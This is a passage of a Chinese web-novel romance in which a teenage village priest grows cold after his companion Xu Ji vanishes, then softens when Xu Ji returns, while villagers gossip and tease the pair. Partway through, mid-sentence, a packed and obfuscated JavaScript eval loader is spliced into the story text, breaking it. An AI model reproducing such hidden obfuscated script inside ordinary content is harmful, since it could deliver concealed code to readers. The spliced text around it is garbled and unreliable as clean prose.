不知过了多久，他缓缓抬起头。 兰榙正低头看着他，眼里满是担忧，想要伸手替他擦去脸上的泪痕。可当她的指尖快要触到沈司南的脸颊时，却猛地顿住了。 她看着自己的儿子，看着那双曾经清澈得像山涧溪水的眼睛。 那双眼睛里，再也没有了之前的稚气，没有了委屈，没有了柔软，甚至连一丝波澜都没有。只剩下一片沉寂的、深不见底的冰冷，像冬日里结了冰的湖面，冻得人骨头疼。 那是一种与十四岁的年纪极不相符的、近乎凛冽的漠然。 兰榙的心里，忽然咯噔一下，涌起一股说不清道不明的恐慌。 沈司南没有说话，只是轻轻挣开了她的怀抱，站起身。他低头拍了拍墨绿长衫上的草屑，动作慢条斯理，像是在打理一件极其重要的衣物。夕阳的余晖落在他的身上，将他的影子拉得很长很长，那影子斜斜地映在地上，带着一种说不出的压抑和沉重。 “娘，我没事。” 他的声音很平静，平静得不像话，没有一丝起伏，像是在说一件与自己无关的事情。 兰榙张了张嘴，想说些什么，却发现喉咙里堵得厉害，一个字都吐不出来。她只能看着沈司南转过身，朝着寨子的方向走去。他的脚步很稳，一步一步，踩在落叶上，发出轻微的声响。那背影挺直得像一杆标枪，却再也没有了往日里的少年意气，只剩下一种沉甸甸的、让人望而生畏的压迫感。 那天晚上，沈司南没有回自己的房间。他独自一人，坐在祭堂里，守着那盏昏黄的油灯，看着案上的那卷祷文。那卷黄麻纸的祷文，是阿爹留下来的，边角已经被磨得发白。他看了一夜，油灯的火光跳跃着，映在他的脸上，忽明忽暗。 没有人知道他在想什么。 第二天一早，当第一缕晨光透过祭堂的窗棂照进来时，沈司南推开了祭堂的大门。 他依旧穿着那件墨绿的长衫，发髻上插着那支银簪，只是眼神变了。不再有丝毫的温和，不再有丝毫的柔软，只剩下一片冰冷的锐利。 他径直走到寨老的住处。 寨老正在院子里喝茶，看见沈司南进来，连忙站起身，笑着想打招呼。可当他对上沈司南的目光时，脸上的笑容瞬间僵住了，像是被人泼了一盆冷水。 “寨老，”沈司南的声音很淡，却带着不容置疑的力量，“从今日起，寨子里的所有事务，都由我来打理。” 寨老愣了愣，有些不敢置信地看着他：“司南，你还小，这些事……” “我是祭师。”沈司南打断他的话，目光落在寨老的脸上，那眼神里的冷意，让寨老忍不住打了个寒颤，“阿爹说过，祭师不仅要主持祭典，更要护着寨子。如今，我有能力护着大家。” 他的语气很平静，却带着一种让人无法反驳的威严。 寨老看着眼前的少年，看着他那双冰冷的眼睛，忽然觉得，眼前的沈司南，再也不是那个需要被呵护的孩子了。他像是一夜之间，长成了一棵浑身带刺的树，让人不敢靠近。 寨老张了张嘴，最终还是点了点头：“好，都听你的。” 沈司南没有再多说什么，转身离开了。 从那天起，沈司南像是变了一个人。 他不再笑，不再露出任何情绪，每天天不亮就起床，处理寨子里的大小事务。他制定了严格的规矩，不管是谁，只要触犯了规矩，就一定会受到严厉的惩罚，毫不留情。 有人偷偷议论，说沈司南变得太可怕了。 有人说，他不再是那个温和的祭师了。 还有人说，他的心，像是被什么东西掏空了，只剩下冷冰冰的权利。 这些话，沈司南都听到了，可他毫不在意。 他把寨子里的权利，牢牢地攥在了自己的手里。祭堂成了他的阵地，那盏油灯，夜夜亮到天明。他坐在案前，看着那些堆积如山的事务，眼底没有丝毫波澜。 陈杬祝来找过他几次。 她拎着药篮，想劝他歇歇，想和他说说话，像从前那样。可每次，她都只能站在祭堂的门外，看着那个坐在油灯下的背影。她想开口，却被沈司南身上的那股冷意逼退，只能默默地放下药篮，转身离开。 绫司司也来找过他。 她还是像从前那样，大大咧咧地闯进去，想逗他笑，想和他说掏野蜂巢的事。可当她对上沈司南那双冰冷的眼睛时，所有的话都堵在了喉咙里。她看着沈司南，看着他那张没有任何表情的脸，忽然觉得，他们之间，像是隔了一条无法逾越的鸿沟。 “沈司南，”绫司司的声音带着哽咽，“你怎么变成这样了？许祭要是看到了，一定会难过的。” 听到“许祭”这两个字时，沈司南执笔的手，微微顿了一下。 但也只是顿了一下而已。 他抬眼，看向绫司司，眼神里的冷意，像是能把人冻僵：“出去。” 绫司司咬着唇，眼泪掉了下来：“你就这么想他吗？你就这么糟蹋自己吗？” “出去。”沈司南重复了一遍，声音里带着一丝不易察觉的戾气。 绫司司终究还是没能再说什么，哭着跑了出去。 祭堂里，又恢复了寂静。 沈司南低头，看着宣纸上的字迹，那字迹力透纸背，带着一种近乎偏执的力道。他的指尖，轻轻摩挲着纸面，心里像是被什么东西啃噬着，疼得厉害。 想他吗？ 怎么不想。 想他替自己擦去糖丝的指尖，想他抱着自己说“你好苦”的语气，想他说“永远不分开”的承诺。 可那又怎么样呢？ 承诺是最没用的东西。 他走了，走得干干净净，连一点痕迹都没有留下。 沈司南闭上眼，再睁开时，眼底的那一丝微弱的波动，已经消失得无影无踪。 他拿起笔，继续处理事务。 日子一天天过去，沈司南在寨子里的威望越来越高，也越来越让人害怕。 人们见到他，都会恭敬地低下头，不敢抬头看他的眼睛。孩子们见到他，会吓得躲到父母的身后。 他成了寨子里真正的掌权者，成了那个高高在上的、让人望而生畏的祭师。 没有人再敢提起许祭的名字，像是那是一个禁忌。 只有兰榙，会在每个夜晚，看着祭堂里透出的灯光，偷偷抹眼泪。她知道，她的儿子，把自己的心，锁在了一个无人能及的地方。那里，藏着他所有的委屈，所有的难过，还有那个再也回不来的人。 这天，又是一个祭典。 沈司南站在香案前，一身墨绿的长衫，身姿挺拔。他手里握着那卷祷文，声音沉稳而冰冷，一字一句，回荡在整个后院。 月光落在他的身上，泛着一层淡淡的冷光。他的眼神，像是淬了冰，没有丝毫温度。 族人站在下方，恭敬地低着头，不敢有丝毫怠慢。 陈杬祝和绫司司站在人群的末尾，看着那个熟悉又陌生的背影，眼泪无声地掉下来。 他们知道，那个会笑，会哭，会抱着许祭的肩头流泪的沈司南，再也回不来了。 祭典结束后，沈司南独自一人，走到了后山的那条溪边。 溪水依旧潺潺地流着，月光落在水面上，碎成一片粼粼的光。溪边的青石，还是老样子。 他坐在青石上，低头看着水里的倒影。 倒影里的少年，眉眼俊朗，却带着一股拒人于千里之外的冷漠。 他伸出手，指尖轻轻点了点水面。 倒影晃了晃，像是要碎掉。 “许祭，”他的声音很轻，轻得像一阵风，“你说，永远不分开。” “你骗我。” 他的声音里，没有哭腔，没有委屈，只有一片死寂的平静。 可只有他自己知道，在他的心里，有一个地方，永远停留在了那个午后。 阳光暖融融的，麦芽糖的甜香漫在风里，有个人笑着替他擦去嘴角的糖丝，说：“想哭就哭吧，我们永远不分开。” 风掠过芦苇丛，沙沙作响。 沈司南坐在青石上，坐了很久很久。 直到天边泛起鱼肚白，他才站起身，朝着寨子的方向走去。 他的脚步很稳，背影挺直。 从今往后，他是沈司南，是这个寨子的祭师，是手握权利的掌权者。 再也不是那个需要被人保护的孩子了。 因为，保护他的人，已经不在了。 而他能做的，就是把权利牢牢地攥在手里，把自己变得无坚不摧。 这样，就再也不会有人能伤害他了。 这样，就再也不会有人能离开他了。 晨光渐渐漫过天际，将他的影子拉得很长很长。 那条长长的影子，像是一条冰冷的锁链，一头拴着他，另一头，拴着那个再也回不来的人。 而他，将带着这条锁链，一直走下去，走到岁月的尽头。 夜色像一块浸了墨的锦缎，缓缓铺满整个寨子。 沈司南独自坐在祭堂的屋顶上，墨绿的长衫被夜风拂得轻轻晃动，发髻上的银簪在月光下泛着一点冷光。他双腿垂着，脚尖离屋檐不过寸许，目光落在天边那轮圆得恰到好处的月亮上，眼神空茫得像一潭死水。 寨子的街巷里，偶尔有晚归的族人提着灯笼走过。灯笼的光晕昏黄，远远瞥见屋顶上的身影，便立刻噤了声，脚步放得极轻，绕着道匆匆离去，连大气都不敢喘。 没人敢靠近他。 如今的沈司南，是寨子里说一不二的祭师，是眼神冷冽、手段强硬的掌权者。人们敬他，更怕他，怕他眼底那抹化不开的寒意，怕他开口时不带一丝温度的语调。 夜风卷着芦苇的气息，吹得他鬓角的碎发乱飞。沈司南抬手，轻轻拂开那缕头发，指尖触到脸颊时，才发觉一片冰凉。 他想起一年前的那个午后，也是这样好的月亮。 那时的他，刚哭过一场，眼眶红红的，坐在溪边的青石上，手里捏着一颗甜得发腻的麦芽糖。许祭就坐在他身边，替他挡着刺眼的阳光，指尖擦过他嘴角的糖丝，带着温热的触感。 那时的月亮，也是这样圆，这样亮。 那时的许祭，笑着对他说：“想哭就哭吧，我们永远不分开。” 永远不分开。 沈司南的喉结狠狠滚动了一下，像是有什么东西堵在那里，上不来，也下不去。 他低头，看着自己的掌心。那里空荡荡的，什么都没有。 没有了系统0320那点微弱的光，也没有了许祭掌心的温度。 那个说要永远和他在一起的人，终究还是走了。 走得干干净净，像从未出现过一样。 沈司南的睫毛轻轻颤了颤，一滴滚烫的眼泪，毫无预兆地从眼角滑落。 那滴泪很轻，落下去的时候，悄无声息，砸在屋顶的青瓦上，晕开一小片深色的水渍。 他没有抬手去擦，只是任由眼泪一颗接一颗地往下掉。 月光落在他的脸上，映着那两行无声的泪，映着他眼底翻涌的、无人能懂的难过。 寨子里的灯笼一盏盏灭了，只剩下风的声音，还有他心里，那片永远填不满的荒芜。 他知道，天快亮了。 天亮之后，他又是那个冷漠威严的祭师，是那个让全寨人都绕道而行的沈司南。 只有在这样的深夜，只有在这样的月光下，他才能卸下所有的伪装，允许自己，想他一会儿。 允许自己，哭一会儿。 沈司南不知道自己是什么时候睡着的，只记得夜风很凉，月光很亮，眼泪砸在青瓦上的触感，冰凉刺骨。 再睁眼时，他竟坐在溪边的青石上。 阳光暖融融地裹着他，风里飘着麦芽糖的甜香，绫司司举着狗尾巴草在不远处追着陈杬祝跑，笑闹声清脆得像风铃。 而他的身边，坐着许祭。 许祭正侧着头看他，指尖沾着一点糖渍，眉眼弯弯的，眼底的温柔快要溢出来：“怎么看着我发呆？糖都要化了。” 沈司南怔怔地看着他，像是不敢相信自己的眼睛。他伸出手，小心翼翼地触碰许祭的脸颊，指尖传来温热的触感，真实得不像话。 不是梦。 他猛地扑进许祭的怀里，紧紧地抱着他，生怕一松手，这个人就又会消失。眼泪汹涌而出，打湿了许祭的短褂：“许祭……你回来了……你不要走了好不好……” 许祭轻轻拍着他的背，声音还是那样温柔，带着一点无奈的笑意：“我不走了，永远都不走了。” 沈司南哭得更凶了，把这一年来所有的委屈、思念、痛苦，都哭了出来。他像个真正的十四岁少年，不再是那个冷漠威严的祭师，只是一个弄丢了心爱之人，又失而复得的孩子。 许祭任由他抱着，指尖轻轻梳理着他的头发，声音软得像棉花：“我在呢，不哭了。我们去掏野蜂巢好不好？绫司司说，那里的蜂蜜最甜了。” 沈司南哽咽着点头，攥着许祭的手不肯松开。 两人并肩走在林间的小径上，阳光穿过枝叶的缝隙，落在他们的身上，投下细碎的光斑。风里带着青草和野果的气息，一切都美好得像一幅画。 沈司南偷偷看着许祭的侧脸，心里的荒芜被一点点填满。他想，就这样吧，永远停留在这个梦里，也好。 可就在这时，许祭的身影忽然变得透明起来。 沈司南的心脏猛地一缩，他用力攥紧许祭的手：“你要干什么？！不许走！” 许祭看着他，眼底的温柔里，多了一丝不舍。他抬手，替沈司南擦去眼角的泪，声音轻得像一阵风：“司南，我要走了。” “我不走！”沈司南的声音发颤，“你说过永远不分开的！你骗人！” “我没有骗你。”许祭的身影越来越淡，几乎要融进阳光里，“我会永远在你心里，只要你还记得我。” “不要……”沈司南绝望地摇头，眼泪掉得更凶了，“我只要你……只要你在这里……” 许祭最后看了他一眼，嘴角扬起一抹浅淡的笑。 然后，他的身影彻底消失了。 周围的一切，也跟着碎裂开来。 绫司司的笑闹声，风里的甜香，暖融融的阳光，都化作了碎片，消散在空气里。 沈司南猛地睁开眼。 还是祭堂的屋顶，还是凉飕飕的夜风，还是那轮圆得刺眼的月亮。 怀里空荡荡的，什么都没有。 只有眼角的泪，冰凉刺骨。 他缓缓低下头，看着自己的掌心，那里依旧什么都没有。 原来，真的只是梦。 天快亮的时候，晨雾像一层薄纱，笼着整个寨子。沈司南从屋顶上下来，墨绿的长衫上沾着夜露的湿气，银簪松松地绾着头发，眼底带着彻夜未眠的疲惫。 他没有回祭堂，只是漫无目的地朝着寨门的方向走。脚下的青石板路被露水浸得发潮，踩上去带着一点微凉的触感。 快到寨门的时候，他的脚步忽然顿住了。 晨雾里，站着一个人。 那人穿着一件素色的短褂，身形挺拔，正抬手拂开额前的碎发，侧脸的轮廓在朦胧的雾气里，熟悉得让沈司南的心脏骤然停跳。 像。 太像了。 像那个在溪边替他擦去糖丝的人，像那个抱着他说“你真的好苦好苦”的人，像那个说“我们永远不分开”，却又凭空消失的人。 沈司南的指尖猛地蜷缩起来，指节泛白。他不敢动，不敢呼吸，生怕眼前的一切只是又一场转瞬即逝的梦。 雾渐渐散了些。 那人像是察觉到了什么，转过头来。 一双眼睛，清亮温和，带着一点笑意，正落在他的身上。 是许祭。 真的是许祭。 沈司南的喉咙像是被什么东西堵住了，千言万语涌到嘴边，却一个字都吐不出来。他看着许祭朝着自己走过来，脚步轻快，像一年前无数次走向他的那样。 “司南。” 许祭的声音穿过晨雾，落在他的耳朵里，温热的，带着笑意的，和记忆里的分毫不差。 沈司南的眼眶瞬间红了。 他看着许祭在他面前站定，看着他伸出手，指尖轻轻触到他的脸颊，带着熟悉的温热触感。 “我回来了。”许祭说，眼底的温柔快要溢出来，“我离开了现实，再也不走了。” 沈司南看着他，看着他眼里的自己，看着那双盛满了笑意的眼睛，积攒了一年的委屈和思念，在这一刻，终于冲破了所有的伪装。 他没有说话，只是猛地扑进许祭的怀里，紧紧地抱着他，像抱住了失而复得的珍宝。眼泪汹涌而出，打湿了许祭的短褂，带着滚烫的温度。 这一次，怀里的人很真实，很温暖，没有消失。 晨雾彻底散去，第一缕晨光落在两人身上，金灿灿的。寨门后的街巷里，有人渐渐醒来，却没有人敢靠近。 只有风，带着青草的气息，轻轻拂过。 拂过两个紧紧相拥的身影，拂过一段失而复得的时光。 晨雾彻底散开，金色的晨光漫过寨门的石牌坊，落在相拥的两人身上。 街巷里陆续有早起的族人探出头来，手里还攥着未晾干的衣物，或是提着竹篮准备去溪边浣纱。他们的目光齐刷刷地落在寨门口的身影上，一个个都屏住了呼吸，不敢出声，只敢凑在一块儿，压低了声音窃窃私语。 “那……那是谁啊？怎么跟祭师抱得这么近？”一个刚嫁来不久的小媳妇拽着身边阿婆的袖子，声音细若蚊蚋，眼底满是惊愕。 阿婆眯着眼睛看了半晌，浑浊的眼珠里闪过一丝恍然，又飞快地掩了下去，扯着小媳妇往后缩了缩：“看着面生得很，怕不是外乡人吧？可祭师……什么时候跟外乡人这么亲近过？” “我记得了！”一个挑着柴禾的汉子忽然低呼一声，又赶紧捂住嘴，左右看了看才凑过来，“去年祭典过后，祭师哭着追去后山的那天，好像就有这么个人影！后来就不见了……” 这话一出，周围的人都安静了一瞬，随即又窸窸窣窣地议论起来。 “怪不得……怪不得祭师这一年来跟变了个人似的。”一个老妇人叹了口气，声音里带着点说不清道不明的意味，“原来……是等这个人啊。” “你们看祭师的样子，”有人偷偷指了指寨门口，声音里满是难以置信，“他……他好像哭了？” 这话让所有人都愣住了。 那个平日里眼神冷冽、让人望而生畏的祭师，那个连笑都吝啬的沈司南，此刻竟埋在那人的肩头，肩膀微微发颤，像是卸下了所有的坚硬外壳。 议论声渐渐小了下去，取而代之的是一片沉默。 有人悄悄收回了目光，嘴角却忍不住泛起一点极淡的、带着暖意的笑意。 风掠过街巷，带着晨露的清新气息，将那些细碎的、带着好奇与释然的低语，吹散在金色的晨光里。 “原来不是祭师心冷，是心里揣着人呢。”旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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有几个调皮的孩子想凑过去看，被自家大人轻轻拉住了，大人对着寨门口的方向努努嘴，低声叮嘱：“别去闹，让祭师好好说说话。” 孩子们似懂非懂地点点头，踮着脚尖，远远地望着那两个靠在一起的身影，小声嘀咕：“那个哥哥是谁呀？祭师哥哥好像很喜欢他呢。” 许祭抬手，指尖轻轻擦去沈司南脸颊的泪痕，掌心的温度熨帖着那片冰凉的皮肤，声音温柔得像浸了晨间的露水：“不哭了司南，我回来了，再也不走了。” 这话不大，却偏偏像一阵风，轻轻飘进了街巷里那些竖着耳朵的人耳中。 原本还窃窃私语的人群，瞬间静了一瞬，随即爆发出更细碎的议论声，一双双眼睛里满是藏不住的惊讶。 “天爷，祭师……真的哭了？”刚才挑柴的汉子手里的扁担差点滑下来，他使劲眨了眨眼，生怕自己看错了。 “那人还叫他司南呢！”小媳妇捂着嘴，声音里满是不可思议，“咱们寨子里，谁敢这么直呼祭师的名字？连寨老都得恭恭敬敬喊一声‘沈祭师’啊！” 纳鞋底的阿婆放下针线，眯着眼笑了：“这可不是一般的情分。你瞧祭师那样，埋在人家肩头，跟个受了委屈的孩子似的，哪里还有半分平日里的威严？” “我就说嘛，祭师这一年冷得像块冰，定是心里有事。”旁边一个挎着竹篮的妇人接话，语气里满是释然，“如今这人回来了，怕是往后寨子里的日子，都能暖几分了。” “你们说，这人到底是什么来头？去年走得莫名其妙，今年又突然回来，竟能让祭师这般模样……”有人压低声音，眼里满是好奇。 “管他什么来头呢。”一个老人摆了摆手，目光落在寨门口相拥的两人身上，眼神温和，“能让祭师变回少年模样的，定是个好人。” 议论声渐渐染上了几分暖意，不再是先前的小心翼翼，反而多了些发自内心的欣慰。阳光越升越高，金色的光铺满了整条街巷，也照亮了寨门口那两道紧紧依偎的身影。 就在这时，一阵轻快的脚步声由远及近，绫司司像一阵风似的从街巷那头跑过来，扎着的双丫髻随着跑动晃个不停，她跑到寨门口，看着许祭，眼睛倏地亮了，清脆的声音划破了街巷的安静：“许祭哥哥，你回来了？” 这话一出，周围的议论声顿时又热闹了几分。 “原来是叫许祭啊！我记起来了，去年和祭师、杬祝还有司司一起在溪边玩的，就是他！”一个中年妇人拍了下大腿，恍然大悟地说道，眉眼间满是鲜活的笑意。 “怪不得司司丫头这么激动，原来是旧相识。”纳鞋底的阿婆笑着点头，手里的针线又捏了起来，“这几个孩子从前总凑在一块儿，后来许祭不见了，司司丫头还偷偷哭过好几回呢。” “这么说，他们是一起长大的情谊？”刚嫁来的小媳妇凑得更近了些，眼里满是八卦的光，“那祭师对他这般依赖，就说得通了。” “可不是嘛。”挑柴的汉子放下扁担，摸了摸后脑勺，脸上的神情也柔和了不少，“以前就瞅着他们俩好得跟一个人似的，许祭一走，祭师就跟丢了魂儿一样，现在人回来了，真好。” 人群里的议论声越来越暖，那些原本藏在心底的好奇和揣测，都变成了实打实的欣慰。有几个老人甚至捋着胡子笑出了声，望着寨门口的目光，满是长辈看晚辈的温和与慈爱。 阳光暖洋洋地洒下来，把整个寨子都裹上了一层温柔的光晕。 沈司南的声音闷闷的，还带着一丝未散的哽咽，他埋在许祭的肩头，一字一句，清晰又执拗：“我真的很想你，许祭。” 这话轻飘飘的，却像一颗石子，在围观的人群里激起了千层浪。 “哎呀！祭师还会说想人啊？”纳鞋底的阿婆手里的针都掉在了地上，她瞪大了眼睛，满脸的不敢置信，“我还以为他的心是石头做的呢！” “可不是嘛！”旁边的小媳妇跟着咋舌，捂着嘴笑得眉眼弯弯，“往日里见他，连句软话都没有，谁能想到，他也会这样跟人撒娇啊！” 挑柴的汉子哈哈大笑，声音压得低低的，却挡不住那份爽朗：“这下好了！咱们沈祭师，也不是块捂不热的冰了！” “原来再冷的人，心里也装着念想呢。”一个老人捋着胡子，慢悠悠地开口，眼里满是感慨，“这一年的冷硬，怕是都为了等这一句‘我想你’啊。” 议论声里再也没有了半分畏惧，全是带着笑意的惊叹和释然。阳光越发明媚，落在沈司南泛红的眼角，落在他和许祭相触的肩头，落在整个暖洋洋的寨子里。 兰榙听到动静，也快步从巷口跑了过来，她的鬓发有些散乱，眼角还带着未干的泪痕，目光落在相拥的两人身上时，瞬间就软了下来。 她走上前，轻轻抚了抚沈司南的后背，声音带着哽咽，却又满是欣慰：“儿啊，现在许祭也回来了，你就把那些委屈都放下，好好地活，好不好？” 沈司南听到母亲的声音，肩膀微微一颤，他从许祭的肩头抬起头，眼眶通红，却朝着兰榙点了点头，喉结滚动着，挤出一个带着哭腔的“好”字。 许祭也侧过头，对着兰榙露出了一个温和的笑：“兰姨，我回来了，以后我会陪着司南，再也不让他难过了。” 兰榙看着眼前的少年，眼眶更红了，她连连点头，抬手擦了擦眼角的泪，嘴角却忍不住扬起笑意。 周围的议论声又起，满是暖融融的调子。 “兰姨这一年也跟着操心不少，这下总算能安心了。” “是啊是啊，母子俩总算都熬出头了。” “你看他们这模样，往后啊，咱们寨子的日子定是越来越暖了。” 沈司南听到母亲的话，又感受到怀中人温热的体温，积攒了一年的委屈和思念像是找到了出口，他慢慢抬起头，眼角还挂着未干的泪珠，嘴角却一点点扬了起来。那笑容很轻，却带着少年人独有的清亮，像雨后初晴的天空，一下子驱散了往日里所有的冷冽。 这一幕落在围观族人的眼里，瞬间让议论声炸开了锅。 “快看！祭师笑了！他真的笑了！”一个抱着孩子的妇人忍不住拔高了声音，又赶紧捂住嘴，眼底满是震惊。 “天爷，我都快忘了祭师笑起来是什么模样了！”纳鞋底的阿婆捡起掉在地上的针线，手指都有些发抖，“这一笑，看着就跟去年溪边那个少年郎一模一样了！” “可不是嘛！”挑柴的汉子一拍大腿，爽朗的笑声压都压不住，“这才对嘛！十五岁的年纪，就该有这样的笑模样，总板着脸多憋得慌！” 旁边的小媳妇也跟着点头，眼里满是笑意：“原来祭师笑起来这么好看，以前冷着脸，真是白瞎了这副好模样。” “许祭这孩子，真是咱们寨子的福星啊！”一个老人捋着胡子，笑得满脸皱纹都舒展开了，“人一回来，就把咱们祭师的笑给带回来了！” 议论声里满是惊喜和欣慰，那些往日里对沈司南的敬畏，此刻都化作了实打实的亲近。阳光洒在沈司南带笑的眉眼上，映着他眼角的泪光，竟比天边的朝霞还要耀眼。 人群里不知是谁先起的头，调子带着几分戏谑的暖：“祭师啊！这可是失而复得的宝贝，可得把人藏好了，别再让人给偷走了！” 这话一出，立刻引来一片附和的哄笑。 “就是就是！”挑柴的汉子跟着起哄，嗓门亮堂得很，“往后出门都得把许祭揣在兜里，一步都不能离咯！” 纳鞋底的阿婆也笑眯眯地接话：“可不是嘛！要是再弄丢了，咱们寨子里可没人能哄好你了！” 刚嫁来的小媳妇更是捂嘴笑：“祭师脸红了！你们快看，祭师的耳根子都红透啦！” 议论声里满是善意的打趣，没有半分不敬。阳光暖融融地裹着整个寨子，连风都带着麦芽糖般的甜意，街巷里的笑声一阵接着一阵，飘得老远老远。 沈司南被众人的打趣说得耳根发烫，伸手攥住许祭的手腕，也不说话，拉着人就往自家院子的方向走。许祭被他拽着，脚步轻快地跟上，嘴角的笑意就没停过。 院子里的桂花树下摆着一张竹桌，竹椅上还晒着半床薄被，带着阳光的暖香。沈司南把许祭按在竹椅上坐好，转身去屋里端了一碟晒好的柿饼出来，往他面前一放，动作还有些别扭，耳根却依旧红着。 “去年晒的，你走之后就没动过。”沈司南低声说，挨着许祭坐下，肩膀轻轻蹭到对方的胳膊。 许祭拿起一块柿饼咬了一口，甜糯的滋味在舌尖化开，和记忆里的味道分毫不差。他侧过头看沈司南，少年的侧脸在阳光下显得格外柔和，眉眼间的冷冽尽数褪去，只剩下藏不住的欢喜。 “甜。”许祭笑着说，伸手揉了揉沈司南的头发，“比我在现实里吃过的所有柿饼都甜。” 沈司南没躲，任由他揉着，眼底的光一点点亮起来，像是盛满了星子。“那你多吃点。”他顿了顿，又补了一句，“以后每年都给你晒。” 许祭应了声好，指尖轻轻碰了碰沈司南泛红的耳垂。风掠过桂花树，簌簌落下几朵细碎的小花，落在竹桌上，落在两人的肩头。 院子外的街巷里，还有族人路过时压低的笑声，偶尔夹杂着几句打趣的话。沈司南听见了，却没像从前那样冷着脸，反而悄悄往许祭身边靠得更近了些。 阳光暖融融地洒下来，裹着桂花香，裹着柿饼的甜，裹着两人之间说不尽的温柔。 院墙外头，不知何时围了好些人，都踮着脚尖、抻着脖子往院里瞧，一个个屏声静气的，生怕扰了里头的光景。 “你瞧你瞧，祭师给许祭递柿饼呢，动作那叫一个小心。”一个妇人拿手肘轻轻碰了碰身边的人，眼底满是笑意。 “可不是嘛，往日里谁见过他这般模样？”旁边的汉子压低声音，嘴角的笑藏都藏不住，“这失而复得的宝贝，真是捧在手里怕摔了，含在嘴里怕化了。” 纳鞋底的阿婆眯着眼笑，手里的针线不知不觉停了：“这才像个过日子的样子嘛，往后啊，咱们寨子里就等着听好消息吧。” 几个半大的孩子想扒着门缝往里钻，被自家大人轻轻拍了下后脑勺，低声叮嘱：“别胡闹，让哥哥们好好说说话。” 风穿过院墙，捎来院里的几声轻笑，墙外头的人也跟着相视一笑，议论声轻轻的，像桂花落在地上的细碎声响，满是暖融融的善意。 院墙外头的议论声刚落，就见个梳着羊角辫的小丫头，挣开了自家阿娘的手，像只圆滚滚的小团子，噔噔噔地就往院里冲。 她手里还攥着颗红得透亮的野山楂，跑到竹桌前，仰着小脸看许祭，脆生生地喊：“许祭哥哥！我娘说你是祭师哥哥的宝贝，给你吃山楂！” 沈司南的耳根瞬间又红了，伸手就要去揪小丫头的辫子，却被许祭笑着拦住。许祭接过山楂，弯腰揉了揉小丫头的脑袋：“谢谢你呀，真甜。” 小丫头得了夸奖，咧开嘴露出两颗缺了的门牙，又扭头看向沈司南，眨巴着大眼睛：“祭师哥哥，你以后别再板着脸啦，笑起来更好看！” 说完，不等沈司南开口，她就一扭一扭地跑出院门，还不忘冲外头的族人比了个鬼脸。 小丫头刚跑出院门，她的母亲就红着脸追了进来，手里还攥着小丫头跑丢的布帕。 她对着沈司南和许祭连连摆手，声音里满是歉意：“实在对不住，这孩子野惯了，没规矩，惊扰了你们俩。” 沈司南刚要开口，许祭就先一步笑着摇头：“婶子别这么说，孩子很可爱，山楂很甜呢。” 沈司南看着小丫头蹦蹦跳跳躲在她娘身后的模样，嘴角也忍不住弯了弯，对着妇人轻轻摇头：“无妨。” 妇人这才松了口气，又笑着叮嘱了小丫头几句，这才拉着孩子，脚步轻快地退了出去。 许祭咬着柿饼，看着沈司南泛红的耳根，忽然低笑出声，伸手捏了捏他的脸颊：“司南，你看外头那些人，从前见了你就绕道走，现在虽笑着，眼底还是藏着几分怕的。要不然，往后这寨子的权我来掌，你给我当手下？” 沈司南一愣，随即抬眼看向他，眼底的笑意漫出来，半点没有往日掌权者的冷冽，他点头，声音轻软却笃定：“好。” 这话不偏不倚，刚好飘出院墙，落在外头竖着耳朵的族人耳中，瞬间让议论声都停了，满街的人都露出不可置信的神色。 “啥？祭师要把权交出去？”挑柴的汉子手里的烟杆都掉在了地上，瞪大了眼睛，“这……这怎么可能？” 纳鞋底的阿婆也惊得合不拢嘴，手里的针线掉在地上都没察觉：“许祭这孩子，看着温和，竟有这心思？咱们祭师也是，说交就交，半点不含糊！” “这也太离谱了吧！”小媳妇拽着身边人的袖子，语气里满是震惊，“祭师攥着权攥了一年，说给人就给人，这许祭哥哥在他心里，也太重要了！” “可不是嘛！”旁边的老人捋着胡子，半晌才叹出一口气，“这叫一物降一物啊！不过这样也好，许祭性子温和，祭师也能松快松快，不用再绷着了。” 议论声里满是震惊和咂舌，还有人忍不住往院里瞅，想看看这两人到底是在说笑，还是来真的。阳光落在院墙上，把那些细碎的议论声，都烘得暖融融的。 沈司南闻言没说话，只是抬手解下腰间系着的那串青铜铃铛。铃铛是祭师身份的象征，平日里摇起来清脆响亮，能号令全寨，此刻被他攥在掌心，轻轻一晃，发出细碎的声响。他转身将铃铛塞进许祭手里，指尖相触时，带着几分不容拒绝的认真。 院墙外头的族人看得一清二楚，先是安静了一瞬，随即爆发出一阵善意的哄笑。 “哈哈哈！这是把权柄都交出去了啊！”挑柴的汉子笑得直拍大腿，嗓门亮得很，“我看哪，沈司南这是想让许祭当咱们的压寨夫人！” 这话一出，满街的人都跟着笑起来，议论声里满是戏谑的暖。 沈司南的耳根又红了，却没反驳，只是抬眼看向许祭，嘴角勾着一抹浅淡的笑，语气坦然得很：“又不是不行。” 这下，外头的议论声直接炸开了锅。 “哎哟喂！祭师这话可太敢说了！”纳鞋底的阿婆捂着嘴笑，眼角的皱纹都舒展开了，“这是铁了心要跟许祭好好过了！” “我就说嘛！这两人的情分不一般！”小媳妇激动地拽着身边人的胳膊，“压寨夫人！这说法也太有意思了！” “往后咱们寨子里可就热闹了！”一个老人捋着胡子，笑得眉眼弯弯，“有许祭在，祭师定能天天笑，咱们这日子也能更暖几分！” 许祭低头看着掌心的青铜铃铛，又抬眼看向沈司南带笑的眉眼，忍不住将人拽进怀里，指尖轻轻摩挲着铃铛上的纹路，眼底的温柔快要溢出来。 风掠过院墙，带着桂花的甜香，将满街的笑声和议论声，吹得老远老远。 38. 压寨夫人 沈司南的目光落在许祭的发顶，忽然抬手，将发髻上那只银蝶簪取了下来。那银蝶是阿爹留下的物件，也是祭师身份的配饰之一，翅膀上的纹路錾刻得精细，在阳光下泛着冷白的光。他踮了踮脚，小心翼翼地将银蝶簪插进许祭的发髻，动作轻柔得不像话。 院墙外头的族人看得真切，先是一阵低低的惊叹，随即爆发出此起彼伏的笑声。 “哎哟！这是把贴身的物件都送出去了！”纳鞋底的阿婆笑得合不拢嘴，手里的针线都跟着晃，“这银蝶簪可是传下来的东西，比那铃铛还金贵呢！” “先前说压寨夫人我还当是玩笑，现在瞧着，是来真的啊！”挑柴的汉子笑得直跺脚，嗓门大得能传遍半条街巷，“咱们沈祭师，这是把人往心尖上揣呢！” 